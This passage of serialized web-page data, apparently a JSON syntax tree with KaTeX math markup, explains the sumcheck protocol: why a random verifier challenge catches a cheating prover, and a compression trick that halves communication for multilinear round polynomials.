type":24,"tag":83,"props":109418,"children":109420},{"className":109419},[21479],[109421],{"type":29,"value":2872},{"type":29,"value":109423}," equals the previous claim. If the prover is lying about the original sum ",{"type":24,"tag":32,"props":109425,"children":109427},{"className":109426},[3726,3727],[109428],{"type":24,"tag":83,"props":109429,"children":109431},{"className":109430},[3732],[109432],{"type":24,"tag":83,"props":109433,"children":109435},{"className":109434,"ariaHidden":1237},[3737],[109436],{"type":24,"tag":83,"props":109437,"children":109439},{"className":109438},[3742],[109440,109444],{"type":24,"tag":83,"props":109441,"children":109443},{"className":109442,"style":21323},[3747],[],{"type":24,"tag":83,"props":109445,"children":109447},{"className":109446,"style":92994},[3753,21328],[109448],{"type":29,"value":92997},{"type":29,"value":109450},", then they must lie about ",{"type":24,"tag":32,"props":109452,"children":109454},{"className":109453},[3726,3727],[109455],{"type":24,"tag":83,"props":109456,"children":109458},{"className":109457},[3732],[109459],{"type":24,"tag":83,"props":109460,"children":109462},{"className":109461,"ariaHidden":1237},[3737],[109463],{"type":24,"tag":83,"props":109464,"children":109466},{"className":109465},[3742],[109467,109472],{"type":24,"tag":83,"props":109468,"children":109471},{"className":109469,"style":109470},[3747],"height:0.625em;vertical-align:-0.1944em;",[],{"type":24,"tag":83,"props":109473,"children":109475},{"className":109474},[3753],[109476,109481],{"type":24,"tag":83,"props":109477,"children":109479},{"className":109478,"style":93246},[3753,21328],[109480],{"type":29,"value":108831},{"type":24,"tag":83,"props":109482,"children":109484},{"className":109483},[3769],[109485],{"type":24,"tag":83,"props":109486,"children":109488},{"className":109487},[3774,21382],[109489,109518],{"type":24,"tag":83,"props":109490,"children":109492},{"className":109491},[3779],[109493,109513],{"type":24,"tag":83,"props":109494,"children":109496},{"className":109495,"style":93289},[3784],[109497],{"type":24,"tag":83,"props":109498,"children":109499},{"style":93293},[109500,109504],{"type":24,"tag":83,"props":109501,"children":109503},{"className":109502,"style":3794},[3793],[],{"type":24,"tag":83,"props":109505,"children":109507},{"className":109506},[3799,3800,3801,3802],[109508],{"type":24,"tag":83,"props":109509,"children":109511},{"className":109510},[3753,21328,3802],[109512],{"type":29,"value":3482},{"type":24,"tag":83,"props":109514,"children":109516},{"className":109515},[21485],[109517],{"type":29,"value":21488},{"type":24,"tag":83,"props":109519,"children":109521},{"className":109520},[3779],[109522],{"type":24,"tag":83,"props":109523,"children":109525},{"className":109524,"style":92843},[3784],[109526],{"type":24,"tag":83,"props":109527,"children":109528},{},[],{"type":29,"value":109530}," somewhere. But since the verifier picks a random ",{"type":24,"tag":32,"props":109532,"children":109534},{"className":109533},[3726,3727],[109535],{"type":24,"tag":83,"props":109536,"children":109538},{"className":109537},[3732],[109539],{"type":24,"tag":83,"props":109540,"children":109542},{"className":109541,"ariaHidden":1237},[3737],[109543],{"type":24,"tag":83,"props":109544,"children":109546},{"className":109545},[3742],[109547,109552],{"type":24,"tag":83,"props":109548,"children":109551},{"className":109549,"style":109550},[3747],"height:0.5806em;vertical-align:-0.15em;",[],{"type":24,"tag":83,"props":109553,"children":109555},{"className":109554},[3753],[109556,109561],{"type":24,"tag":83,"props":109557,"children":109559},{"className":109558,"style":92760},[3753,21328],[109560],{"type":29,"value":93579},{"type":24,"tag":83,"props":109562,"children":109564},{"className":109563},[3769],[109565],{"type":24,"tag":83,"props":109566,"children":109568},{"className":109567},[3774,21382],[109569,109599],{"type":24,"tag":83,"props":109570,"children":109572},{"className":109571},[3779],[109573,109594],{"type":24,"tag":83,"props":109574,"children":109576},{"className":109575,"style":93289},[3784],[109577],{"type":24,"tag":83,"props":109578,"children":109580},{"style":109579},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[109581,109585],{"type":24,"tag":83,"props":109582,"children":109584},{"className":109583,"style":3794},[3793],[],{"type":24,"tag":83,"props":109586,"children":109588},{"className":109587},[3799,3800,3801,3802],[109589],{"type":24,"tag":83,"props":109590,"children":109592},{"className":109591},[3753,21328,3802],[109593],{"type":29,"value":3482},{"type":24,"tag":83,"props":109595,"children":109597},{"className":109596},[21485],[109598],{"type":29,"value":21488},{"type":24,"tag":83,"props":109600,"children":109602},{"className":109601},[3779],[109603],{"type":24,"tag":83,"props":109604,"children":109606},{"className":109605,"style":92843},[3784],[109607],{"type":24,"tag":83,"props":109608,"children":109609},{},[],{"type":29,"value":109611},", with overwhelming probability, the prover won't then be able to match the evaluation of the original polynomial.",{"type":24,"tag":18631,"props":109613,"children":109615},{"id":109614},"the-compression-trick",[109616],{"type":29,"value":109617},"The Compression Trick",{"type":24,"tag":25,"props":109619,"children":109620},{},[109621,109623,109773,109775,110055],{"type":29,"value":109622},"For degree-1 (multilinear) polynomials, ",{"type":24,"tag":32,"props":109624,"children":109626},{"className":109625},[3726,3727],[109627],{"type":24,"tag":83,"props":109628,"children":109630},{"className":109629},[3732],[109631],{"type":24,"tag":83,"props":109632,"children":109634},{"className":109633,"ariaHidden":1237},[3737],[109635,109728,109755],{"type":24,"tag":83,"props":109636,"children":109638},{"className":109637},[3742],[109639,109643,109700,109705,109710,109715,109719,109724],{"type":24,"tag":83,"props":109640,"children":109642},{"className":109641,"style":3854},[3747],[],{"type":24,"tag":83,"props":109644,"children":109646},{"className":109645},[3753],[109647,109652],{"type":24,"tag":83,"props":109648,"children":109650},{"className":109649,"style":93246},[3753,21328],[109651],{"type":29,"value":108831},{"type":24,"tag":83,"props":109653,"children":109655},{"className":109654},[3769],[109656],{"type":24,"tag":83,"props":109657,"children":109659},{"className":109658},[3774,21382],[109660,109689],{"type":24,"tag":83,"props":109661,"children":109663},{"className":109662},[3779],[109664,109684],{"type":24,"tag":83,"props":109665,"children":109667},{"className":109666,"style":93289},[3784],[109668],{"type":24,"tag":83,"props":109669,"children":109670},{"style":93293},[109671,109675],{"type":24,"tag":83,"props":109672,"children":109674},{"className":109673,"style":3794},[3793],[],{"type":24,"tag":83,"props":109676,"children":109678},{"className":109677},[3799,3800,3801,3802],[109679],{"type":24,"tag":83,"props":109680,"children":109682},{"className":109681},[3753,21328,3802],[109683],{"type":29,"value":3482},{"type":24,"tag":83,"props":109685,"children":109687},{"className":109686},[21485],[109688],{"type":29,"value":21488},{"type":24,"tag":83,"props":109690,"children":109692},{"className":109691},[3779],[109693],{"type":24,"tag":83,"props":109694,"children":109696},{"className":109695,"style":92843},[3784],[109697],{"type":24,"tag":83,"props":109698,"children":109699},{},[],{"type":24,"tag":83,"props":109701,"children":109703},{"className":109702},[21457],[109704],{"type":29,"value":558},{"type":24,"tag":83,"props":109706,"children":109708},{"className":109707,"style":94780},[3753,21328],[109709],{"type":29,"value":5879},{"type":24,"tag":83,"props":109711,"children":109713},{"className":109712},[21479],[109714],{"type":29,"value":2872},{"type":24,"tag":83,"props":109716,"children":109718},{"className":109717,"style":3931},[3833],[],{"type":24,"tag":83,"props":109720,"children":109722},{"className":109721},[3936],[109723],{"type":29,"value":1275},{"type":24,"tag":83,"props":109725,"children":109727},{"className":109726,"style":3931},[3833],[],{"type":24,"tag":83,"props":109729,"children":109731},{"className":109730},[3742],[109732,109737,109742,109746,109751],{"type":24,"tag":83,"props":109733,"children":109736},{"className":109734,"style":109735},[3747],"height:0.6667em;vertical-align:-0.0833em;",[],{"type":24,"tag":83,"props":109738,"children":109740},{"className":109739},[3753,21328],[109741],{"type":29,"value":2033},{"type":24,"tag":83,"props":109743,"children":109745},{"className":109744,"style":3834},[3833],[],{"type":24,"tag":83,"props":109747,"children":109749},{"className":109748},[3839],[109750],{"type":29,"value":4126},{"type":24,"tag":83,"props":109752,"children":109754},{"className":109753,"style":3834},[3833],[],{"type":24,"tag":83,"props":109756,"children":109758},{"className":109757},[3742],[109759,109763,109768],{"type":24,"tag":83,"props":109760,"children":109762},{"className":109761,"style":92675},[3747],[],{"type":24,"tag":83,"props":109764,"children":109766},{"className":109765},[3753,21328],[109767],{"type":29,"value":2968},{"type":24,"tag":83,"props":109769,"children":109771},{"className":109770,"style":94780},[3753,21328],[109772],{"type":29,"value":5879},{"type":29,"value":109774}," has only two coefficients. Since the verifier knows ",{"type":24,"tag":32,"props":109776,"children":109778},{"className":109777},[3726,3727],[109779],{"type":24,"tag":83,"props":109780,"children":109782},{"className":109781},[3732],[109783],{"type":24,"tag":83,"props":109784,"children":109786},{"className":109785,"ariaHidden":1237},[3737],[109787,109880,109973],{"type":24,"tag":83,"props":109788,"children":109790},{"className":109789},[3742],[109791,109795,109852,109857,109862,109867,109871,109876],{"type":24,"tag":83,"props":109792,"children":109794},{"className":109793,"style":3854},[3747],[],{"type":24,"tag":83,"props":109796,"children":109798},{"className":109797},[3753],[109799,109804],{"type":24,"tag":83,"props":109800,"children":109802},{"className":109801,"style":93246},[3753,21328],[109803],{"type":29,"value":108831},{"type":24,"tag":83,"props":109805,"children":109807},{"className":109806},[3769],[109808],{"type":24,"tag":83,"props":109809,"children":109811},{"className":109810},[3774,21382],[109812,109841],{"type":24,"tag":83,"props":109813,"children":109815},{"className":109814},[3779],[109816,109836],{"type":24,"tag":83,"props":109817,"children":109819},{"className":109818,"style":93289},[3784],[109820],{"type":24,"tag":83,"props":109821,"children":109822},{"style":93293},[109823,109827],{"type":24,"tag":83,"props":109824,"children":109826},{"className":109825,"style":3794},[3793],[],{"type":24,"tag":83,"props":109828,"children":109830},{"className":109829},[3799,3800,3801,3802],[109831],{"type":24,"tag":83,"props":109832,"children":109834},{"className":109833},[3753,21328,3802],[109835],{"type":29,"value":3482},{"type":24,"tag":83,"props":109837,"children":109839},{"className":109838},[21485],[109840],{"type":29,"value":21488},{"type":24,"tag":83,"props":109842,"children":109844},{"className":109843},[3779],[109845],{"type":24,"tag":83,"props":109846,"children":109848},{"className":109847,"style":92843},[3784],[109849],{"type":24,"tag":83,"props":109850,"children":109851},{},[],{"type":24,"tag":83,"props":109853,"children":109855},{"className":109854},[21457],[109856],{"type":29,"value":558},{"type":24,"tag":83,"props":109858,"children":109860},{"className":109859},[3753],[109861],{"type":29,"value":1166},{"type":24,"tag":83,"props":109863,"children":109865},{"className":109864},[21479],[109866],{"type":29,"value":2872},{"type":24,"tag":83,"props":109868,"children":109870},{"className":109869,"style":3834},[3833],[],{"type":24,"tag":83,"props":109872,"children":109874},{"className":109873},[3839],[109875],{"type":29,"value":4126},{"type":24,"tag":83,"props":109877,"children":109879},{"className":109878,"style":3834},[3833],[],{"type":24,"tag":83,"props":109881,"children":109883},{"className":109882},[3742],[109884,109888,109945,109950,109955,109960,109964,109969],{"type":24,"tag":83,"props":109885,"children":109887},{"className":109886,"style":3854},[3747],[],{"type":24,"tag":83,"props":109889,"children":109891},{"className":109890},[3753],[109892,109897],{"type":24,"tag":83,"props":109893,"children":109895},{"className":109894,"style":93246},[3753,21328],[109896],{"type":29,"value":108831},{"type":24,"tag":83,"props":109898,"children":109900},{"className":109899},[3769],[109901],{"type":24,"tag":83,"props":109902,"children":109904},{"className":109903},[3774,21382],[109905,109934],{"type":24,"tag":83,"props":109906,"children":109908},{"className":109907},[3779],[109909,109929],{"type":24,"tag":83,"props":109910,"children":109912},{"className":109911,"style":93289},[3784],[109913],{"type":24,"tag":83,"props":109914,"children":109915},{"style":93293},[109916,109920],{"type":24,"tag":83,"props":109917,"children":109919},{"className":109918,"style":3794},[3793],[],{"type":24,"tag":83,"props":109921,"children":109923},{"className":109922},[3799,3800,3801,3802],[109924],{"type":24,"tag":83,"props":109925,"children":109927},{"className":109926},[3753,21328,3802],[109928],{"type":29,"value":3482},{"type":24,"tag":83,"props":109930,"children":109932},{"className":109931},[21485],[109933],{"type":29,"value":21488},{"type":24,"tag":83,"props":109935,"children":109937},{"className":109936},[3779],[109938],{"type":24,"tag":83,"props":109939,"children":109941},{"className":109940,"style":92843},[3784],[109942],{"type":24,"tag":83,"props":109943,"children":109944},{},[],{"type":24,"tag":83,"props":109946,"children":109948},{"className":109947},[21457],[109949],{"type":29,"value":558},{"type":24,"tag":83,"props":109951,"children":109953},{"className":109952},[3753],[109954],{"type":29,"value":3756},{"type":24,"tag":83,"props":109956,"children":109958},{"className":109957},[21479],[109959],{"type":29,"value":2872},{"type":24,"tag":83,"props":109961,"children":109963},{"className":109962,"style":3931},[3833],[],{"type":24,"tag":83,"props":109965,"children":109967},{"className":109966},[3936],[109968],{"type":29,"value":1275},{"type":24,"tag":83,"props":109970,"children":109972},{"className":109971,"style":3931},[3833],[],{"type":24,"tag":83,"props":109974,"children":109976},{"className":109975},[3742],[109977,109982],{"type":24,"tag":83,"props":109978,"children":109981},{"className":109979,"style":109980},[3747],"height:0.8917em;vertical-align:-0.2083em;",[],{"type":24,"tag":83,"props":109983,"children":109985},{"className":109984},[3753],[109986,109991],{"type":24,"tag":83,"props":109987,"children":109989},{"className":109988,"style":92994},[3753,21328],[109990],{"type":29,"value":92997},{"type":24,"tag":83,"props":109992,"children":109994},{"className":109993},[3769],[109995],{"type":24,"tag":83,"props":109996,"children":109998},{"className":109997},[3774,21382],[109999,110043],{"type":24,"tag":83,"props":110000,"children":110002},{"className":110001},[3779],[110003,110038],{"type":24,"tag":83,"props":110004,"children":110006},{"className":110005,"style":93289},[3784],[110007],{"type":24,"tag":83,"props":110008,"children":110010},{"style":110009},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[110011,110015],{"type":24,"tag":83,"props":110012,"children":110014},{"className":110013,"style":3794},[3793],[],{"type":24,"tag":83,"props":110016,"children":110018},{"className":110017},[3799,3800,3801,3802],[110019],{"type":24,"tag":83,"props":110020,"children":110022},{"className":110021},[3753,3802],[110023,110028,110033],{"type":24,"tag":83,"props":110024,"children":110026},{"className":110025},[3753,21328,3802],[110027],{"type":29,"value":3482},{"type":24,"tag":83,"props":110029,"children":110031},{"className":110030},[3839,3802],[110032],{"type":29,"value":3813},{"type":24,"tag":83,"props":110034,"children":110036},{"className":110035},[3753,3802],[110037],{"type":29,"value":3756},{"type":24,"tag":83,"props":110039,"children":110041},{"className":110040},[21485],[110042],{"type":29,"value":21488},{"type":24,"tag":83,"props":110044,"children":110046},{"className":110045},[3779],[110047],{"type":24,"tag":83,"props":110048,"children":110051},{"className":110049,"style":110050},[3784],"height:0.2083em;",[110052],{"type":24,"tag":83,"props":110053,"children":110054},{},[],{"type":29,"value":110056}," (the previous claim), we have:",{"type":24,"tag":25,"props":110058,"children":110059},{},[110060],{"type":24,"tag":32,"props":110061,"children":110063},{"className":110062},[3726,3727],[110064],{"type":24,"tag":83,"props":110065,"children":110067},{"className":110066},[3732],[110068],{"type":24,"tag":83,"props":110069,"children":110071},{"className":110070,"ariaHidden":1237},[3737],[110072,110098,110129,110160,110261,110287,110379],{"type":24,"tag":83,"props":110073,"children":110075},{"className":110074},[3742],[110076,110080,110085,110089,110094],{"type":24,"tag":83,"props":110077,"children":110079},{"className":110078,"style":109735},[3747],[],{"type":24,"tag":83,"props":110081,"children":110083},{"className":110082},[3753,21328],[110084],{"type":29,"value":2033},{"type":24,"tag":83,"props":110086,"children":110088},{"className":110087,"style":3834},[3833],[],{"type":24,"tag":83,"props":110090,"children":110092},{"className":110091},[3839],[110093],{"type":29,"value":4126},{"type":24,"tag":83,"props":110095,"children":110097},{"className":110096,"style":3834},[3833],[],{"type":24,"tag":83,"props":110099,"children":110101},{"className":110100},[3742],[110102,110106,110111,110116,110120,110125],{"type":24,"tag":83,"props":110103,"children":110105},{"className":110104,"style":3854},[3747],[],{"type":24,"tag":83,"props":110107,"children":110109},{"className":110108},[21457],[110110],{"type":29,"value":558},{"type":24,"tag":83,"props":110112,"children":110114},{"className":110113},[3753,21328],[110115],{"type":29,"value":2033},{"type":24,"tag":83,"props":110117,"children":110119},{"className":110118,"style":3834},[3833],[],{"type":24,"tag":83,"props":110121,"children":110123},{"className":110122},[3839],[110124],{"type":29,"value":4126},{"type":24,"tag":83,"props":110126,"children":110128},{"className":110127,"style":3834},[3833],[],{"type":24,"tag":83,"props":110130,"children":110132},{"className":110131},[3742],[110133,110137,110142,110147,110151,110156],{"type":24,"tag":83,"props":110134,"children":110136},{"className":110135,"style":3854},[3747],[],{"type":24,"tag":83,"props":110138,"children":110140},{"className":110139},[3753,21328],[110141],{"type":29,"value":2968},{"type":24,"tag":83,"props":110143,"children":110145},{"className":110144},[21479],[110146],{"type":29,"value":2872},{"type":24,"tag":83,"props":110148,"children":110150},{"className":110149,"style":3931},[3833],[],{"type":24,"tag":83,"props":110152,"children":110154},{"className":110153},[3936],[110155],{"type":29,"value":1275},{"type":24,"tag":83,"props":110157,"children":110159},{"className":110158,"style":3931},[3833],[],{"type":24,"tag":83,"props":110161,"children":110163},{"className":110162},[3742],[110164,110168,110239,110243,110247,110253,110257],{"type":24,"tag":83,"props":110165,"children":110167},{"className":110166,"style":109980},[3747],[],{"type":24,"tag":83,"props":110169,"children":110171},{"className":110170},[3753],[110172,110177],{"type":24,"tag":83,"props":110173,"children":110175},{"className":110174,"style":92994},[3753,21328],[110176],{"type":29,"value":92997},{"type":24,"tag":83,"props":110178,"children":110180},{"className":110179},[3769],[110181],{"type":24,"tag":83,"props":110182,"children":110184},{"className":110183},[3774,21382],[110185,110228],{"type":24,"tag":83,"props":110186,"children":110188},{"className":110187},[3779],[110189,110223],{"type":24,"tag":83,"props":110190,"children":110192},{"className":110191,"style":93289},[3784],[110193],{"type":24,"tag":83,"props":110194,"children":110195},{"style":110009},[110196,110200],{"type":24,"tag":83,"props":110197,"children":110199},{"className":110198,"style":3794},[3793],[],{"type":24,"tag":83,"props":110201,"children":110203},{"className":110202},[3799,3800,3801,3802],[110204],{"type":24,"tag":83,"props":110205,"children":110207},{"className":110206},[3753,3802],[110208,110213,110218],{"type":24,"tag":83,"props":110209,"children":110211},{"className":110210},[3753,21328,3802],[110212],{"type":29,"value":3482},{"type":24,"tag":83,"props":110214,"children":110216},{"className":110215},[3839,3802],[110217],{"type":29,"value":3813},{"type":24,"tag":83,"props":110219,"children":110221},{"className":110220},[3753,3802],[110222],{"type":29,"value":3756},{"type":24,"tag":83,"props":110224,"children":110226},{"className":110225},[21485],[110227],{"type":29,"value":21488},{"type":24,"tag":83,"props":110229,"children":110231},{"className":110230},[3779],[110232],{"type":24,"tag":83,"props":110233,"children":110235},{"className":110234,"style":110050},[3784],[110236],{"type":24,"tag":83,"props":110237,"children":110238},{},[],{"type":24,"tag":83,"props":110240,"children":110242},{"className":110241,"style":3931},[3833],[],{"type":24,"tag":83,"props":110244,"children":110246},{"className":110245,"style":3931},[3833],[],{"type":24,"tag":83,"props":110248,"children":110250},{"className":110249},[3936],[110251],{"type":29,"value":110252},"⟹",{"type":24,"tag":83,"props":110254,"children":110256},{"className":110255,"style":3931},[3833],[],{"type":24,"tag":83,"props":110258,"children":110260},{"className":110259,"style":3931},[3833],[],{"type":24,"tag":83,"props":110262,"children":110264},{"className":110263},[3742],[110265,110269,110274,110278,110283],{"type":24,"tag":83,"props":110266,"children":110268},{"className":110267,"style":92675},[3747],[],{"type":24,"tag":83,"props":110270,"children":110272},{"className":110271},[3753,21328],[110273],{"type":29,"value":2968},{"type":24,"tag":83,"props":110275,"children":110277},{"className":110276,"style":3931},[3833],[],{"type":24,"tag":83,"props":110279,"children":110281},{"className":110280},[3936],[110282],{"type":29,"value":1275},{"type":24,"tag":83,"props":110284,"children":110286},{"className":110285,"style":3931},[3833],[],{"type":24,"tag":83,"props":110288,"children":110290},{"className":110289},[3742],[110291,110295,110366,110370,110375],{"type":24,"tag":83,"props":110292,"children":110294},{"className":110293,"style":109980},[3747],[],{"type":24,"tag":83,"props":110296,"children":110298},{"className":110297},[3753],[110299,110304],{"type":24,"tag":83,"props":110300,"children":110302},{"className":110301,"style":92994},[3753,21328],[110303],{"type":29,"value":92997},{"type":24,"tag":83,"props":110305,"children":110307},{"className":110306},[3769],[110308],{"type":24,"tag":83,"props":110309,"children":110311},{"className":110310},[3774,21382],[110312,110355],{"type":24,"tag":83,"props":110313,"children":110315},{"className":110314},[3779],[110316,110350],{"type":24,"tag":83,"props":110317,"children":110319},{"className":110318,"style":93289},[3784],[110320],{"type":24,"tag":83,"props":110321,"children":110322},{"style":110009},[110323,110327],{"type":24,"tag":83,"props":110324,"children":110326},{"className":110325,"style":3794},[3793],[],{"type":24,"tag":83,"props":110328,"children":110330},{"className":110329},[3799,3800,3801,3802],[110331],{"type":24,"tag":83,"props":110332,"children":110334},{"className":110333},[3753,3802],[110335,110340,110345],{"type":24,"tag":83,"props":110336,"children":110338},{"className":110337},[3753,21328,3802],[110339],{"type":29,"value":3482},{"type":24,"tag":83,"props":110341,"children":110343},{"className":110342},[3839,3802],[110344],{"type":29,"value":3813},{"type":24,"tag":83,"props":110346,"children":110348},{"className":110347},[3753,3802],[110349],{"type":29,"value":3756},{"type":24,"tag":83,"props":110351,"children":110353},{"className":110352},[21485],[110354],{"type":29,"value":21488},{"type":24,"tag":83,"props":110356,"children":110358},{"className":110357},[3779],[110359],{"type":24,"tag":83,"props":110360,"children":110362},{"className":110361,"style":110050},[3784],[110363],{"type":24,"tag":83,"props":110364,"children":110365},{},[],{"type":24,"tag":83,"props":110367,"children":110369},{"className":110368,"style":3834},[3833],[],{"type":24,"tag":83,"props":110371,"children":110373},{"className":110372},[3839],[110374],{"type":29,"value":3813},{"type":24,"tag":83,"props":110376,"children":110378},{"className":110377,"style":3834},[3833],[],{"type":24,"tag":83,"props":110380,"children":110382},{"className":110381},[3742],[110383,110387,110392],{"type":24,"tag":83,"props":110384,"children":110386},{"className":110385,"style":93791},[3747],[],{"type":24,"tag":83,"props":110388,"children":110390},{"className":110389},[3753],[110391],{"type":29,"value":2867},{"type":24,"tag":83,"props":110393,"children":110395},{"className":110394},[3753,21328],[110396],{"type":29,"value":2033},{"type":24,"tag":25,"props":110398,"children":110399},{},[110400,110402,110521,110523,110548],{"type":29,"value":110401},"So the prover only sends ",{"type":24,"tag":32,"props":110403,"children":110405},{"className":110404},[3726,3727],[110406],{"type":24,"tag":83,"props":110407,"children":110409},{"className":110408},[3732],[110410],{"type":24,"tag":83,"props":110411,"children":110413},{"className":110412,"ariaHidden":1237},[3737],[110414,110441],{"type":24,"tag":83,"props":110415,"children":110417},{"className":110416},[3742],[110418,110423,110428,110432,110437],{"type":24,"tag":83,"props":110419,"children":110422},{"className":110420,"style":110421},[3747],"height:0.4306em;",[],{"type":24,"tag":83,"props":110424,"children":110426},{"className":110425},[3753,21328],[110427],{"type":29,"value":2033},{"type":24,"tag":83,"props":110429,"children":110431},{"className":110430,"style":3931},[3833],[],{"type":24,"tag":83,"props":110433,"children":110435},{"className":110434},[3936],[110436],{"type":29,"value":1275},{"type":24,"tag":83,"props":110438,"children":110440},{"className":110439,"style":3931},[3833],[],{"type":24,"tag":83,"props":110442,"children":110444},{"className":110443},[3742],[110445,110449,110506,110511,110516],{"type":24,"tag":83,"props":110446,"children":110448},{"className":110447,"style":3854},[3747],[],{"type":24,"tag":83,"props":110450,"children":110452},{"className":110451},[3753],[110453,110458],{"type":24,"tag":83,"props":110454,"children":110456},{"className":110455,"style":93246},[3753,21328],[110457],{"type":29,"value":108831},{"type":24,"tag":83,"props":110459,"children":110461},{"className":110460},[3769],[110462],{"type":24,"tag":83,"props":110463,"children":110465},{"className":110464},[3774,21382],[110466,110495],{"type":24,"tag":83,"props":110467,"children":110469},{"className":110468},[3779],[110470,110490],{"type":24,"tag":83,"props":110471,"children":110473},{"className":110472,"style":93289},[3784],[110474],{"type":24,"tag":83,"props":110475,"children":110476},{"style":93293},[110477,110481],{"type":24,"tag":83,"props":110478,"children":110480},{"className":110479,"style":3794},[3793],[],{"type":24,"tag":83,"props":110482,"children":110484},{"className":110483},[3799,3800,3801,3802],[110485],{"type":24,"tag":83,"props":110486,"children":110488},{"className":110487},[3753,21328,3802],[110489],{"type":29,"value":3482},{"type":24,"tag":83,"props":110491,"children":110493},{"className":110492},[21485],[110494],{"type":29,"value":21488},{"type":24,"tag":83,"props":110496,"children":110498},{"className":110497},[3779],[110499],{"type":24,"tag":83,"props":110500,"children":110502},{"className":110501,"style":92843},[3784],[110503],{"type":24,"tag":83,"props":110504,"children":110505},{},[],{"type":24,"tag":83,"props":110507,"children":110509},{"className":110508},[21457],[110510],{"type":29,"value":558},{"type":24,"tag":83,"props":110512,"children":110514},{"className":110513},[3753],[110515],{"type":29,"value":1166},{"type":24,"tag":83,"props":110517,"children":110519},{"className":110518},[21479],[110520],{"type":29,"value":2872},{"type":29,"value":110522},", and the verifier recovers ",{"type":24,"tag":32,"props":110524,"children":110526},{"className":110525},[3726,3727],[110527],{"type":24,"tag":83,"props":110528,"children":110530},{"className":110529},[3732],[110531],{"type":24,"tag":83,"props":110532,"children":110534},{"className":110533,"ariaHidden":1237},[3737],[110535],{"type":24,"tag":83,"props":110536,"children":110538},{"className":110537},[3742],[110539,110543],{"type":24,"tag":83,"props":110540,"children":110542},{"className":110541,"style":92675},[3747],[],{"type":24,"tag":83,"props":110544,"children":110546},{"className":110545},[3753,21328],[110547],{"type":29,"value":2968},{"type":29,"value":110549},". This saves 50% on communication costs.",{"type":24,"tag":25,"props":110551,"children":110552},{},[110553],{"type":29,"value":110554},"The next claim in the chain is",{"type":24,"tag":25,"props":110556,"children":110557},{},[110558],{"type":24,"tag":32,"props":110559,"children":110561},{"className":110560},[3726,3727],[110562],{"type":24,"tag":83,"props":110563,"children":110565},{"className":110564},[3732],[110566],{"type":24,"tag":83,"props":110567,"children":110569},{"className":110568,"ariaHidden":1237},[3737],[110570,110649,110794,110820,110847,110925,110951,111048,111084,111162,111198,111286,111378],{"type":24,"tag":83,"props":110571,"children":110573},{"className":110572},[3742],[110574,110579,110636,110640,110645],{"type":24,"tag":83,"props":110575,"children":110578},{"className":110576,"style":110577},[3747],"height:0.8333em;vertical-align:-0.15em;",[],{"type":24,"tag":83,"props":110580,"children":110582},{"className":110581},[3753],[110583,110588],{"type":24,"tag":83,"props":110584,"children":110586},{"className":110585,"style":92994},[3753,21328],[110587],{"type":29,"value":92997},{"type":24,"tag":83,"props":110589,"children":110591},{"className":110590},[3769],[110592],{"type":24,"tag":83,"props":110593,"children":110595},{"className":110594},[3774,21382],[110596,110625],{"type":24,"tag":83,"props":110597,"children":110599},{"className":110598},[3779],[110600,110620],{"type":24,"tag":83,"props":110601,"children":110603},{"className":110602,"style":93289},[3784],[110604],{"type":24,"tag":83,"props":110605,"children":110606},{"style":110009},[110607,110611],{"type":24,"tag":83,"props":110608,"children":110610},{"className":110609,"style":3794},[3793],[],{"type":24,"tag":83,"props":110612,"children":110614},{"className":110613},[3799,3800,3801,3802],[110615],{"type":24,"tag":83,"props":110616,"children":110618},{"className":110617},[3753,21328,3802],[110619],{"type":29,"value":3482},{"type":24,"tag":83,"props":110621,"children":110623},{"className":110622},[21485],[110624],{"type":29,"value":21488},{"type":24,"tag":83,"props":110626,"children":110628},{"className":110627},[3779],[110629],{"type":24,"tag":83,"props":110630,"children":110632},{"className":110631,"style":92843},[3784],[110633],{"type":24,"tag":83,"props":110634,"children":110635},{},[],{"type":24,"tag":83,"props":110637,"children":110639},{"className":110638,"style":3931},[3833],[],{"type":24,"tag":83,"props":110641,"children":110643},{"className":110642},[3936],[110644],{"type":29,"value":1275},{"type":24,"tag":83,"props":110646,"children":110648},{"className":110647,"style":3931},[3833],[],{"type":24,"tag":83,"props":110650,"children":110652},{"className":110651},[3742],[110653,110657,110714,110719,110776,110781,110785,110790],{"type":24,"tag":83,"props":110654,"children":110656},{"className":110655,"style":3854},[3747],[],{"type":24,"tag":83,"props":110658,"children":110660},{"className":110659},[3753],[110661,110666],{"type":24,"tag":83,"props":110662,"children":110664},{"className":110663,"style":93246},[3753,21328],[110665],{"type":29,"value":108831},{"type":24,"tag":83,"props":110667,"children":110669},{"className":110668},[3769],[110670],{"type":24,"tag":83,"props":110671,"children":110673},{"className":110672},[3774,21382],[110674,110703],{"type":24,"tag":83,"props":110675,"children":110677},{"className":110676},[3779],[110678,110698],{"type":24,"tag":83,"props":110679,"children":110681},{"className":110680,"style":93289},[3784],[110682],{"type":24,"tag":83,"props":110683,"children":110684},{"style":93293},[110685,110689],{"type":24,"tag":83,"props":110686,"children":110688},{"className":110687,"style":3794},[3793],[],{"type":24,"tag":83,"props":110690,"children":110692},{"className":110691},[3799,3800,3801,3802],[110693],{"type":24,"tag":83,"props":110694,"children":110696},{"className":110695},[3753,21328,3802],[110697],{"type":29,"value":3482},{"type":24,"tag":83,"props":110699,"children":110701},{"className":110700},[21485],[110702],{"type":29,"value":21488},{"type":24,"tag":83,"props":110704,"children":110706},{"className":110705},[3779],[110707],{"type":24,"tag":83,"props":110708,"children":110710},{"className":110709,"style":92843},[3784],[110711],{"type":24,"tag":83,"props":110712,"children":110713},{},[],{"type":24,"tag":83,"props":110715,"children":110717},{"className":110716},[21457],[110718],{"type":29,"value":558},{"type":24,"tag":83,"props":110720,"children":110722},{"className":110721},[3753],[110723,110728],{"type":24,"tag":83,"props":110724,"children":110726},{"className":110725,"style":92760},[3753,21328],[110727],{"type":29,"value":93579},{"type":24,"tag":83,"props":110729,"children":110731},{"className":110730},[3769],[110732],{"type":24,"tag":83,"props":110733,"children":110735},{"className":110734},[3774,21382],[110736,110765],{"type":24,"tag":83,"props":110737,"children":110739},{"className":110738},[3779],[110740,110760],{"type":24,"tag":83,"props":110741,"children":110743},{"className":110742,"style":93289},[3784],[110744],{"type":24,"tag":83,"props":110745,"children":110746},{"style":109579},[110747,110751],{"type":24,"tag":83,"props":110748,"children":110750},{"className":110749,"style":3794},[3793],[],{"type":24,"tag":83,"props":110752,"children":110754},{"className":110753},[3799,3800,3801,3802],[110755],{"type":24,"tag":83,"props":110756,"children":110758},{"className":110757},[3753,21328,3802],[110759],{"type":29,"value":3482},{"type":24,"tag":83,"props":110761,"children":110763},{"className":110762},[21485],[110764],{"type":29,"value":21488},{"type":24,"tag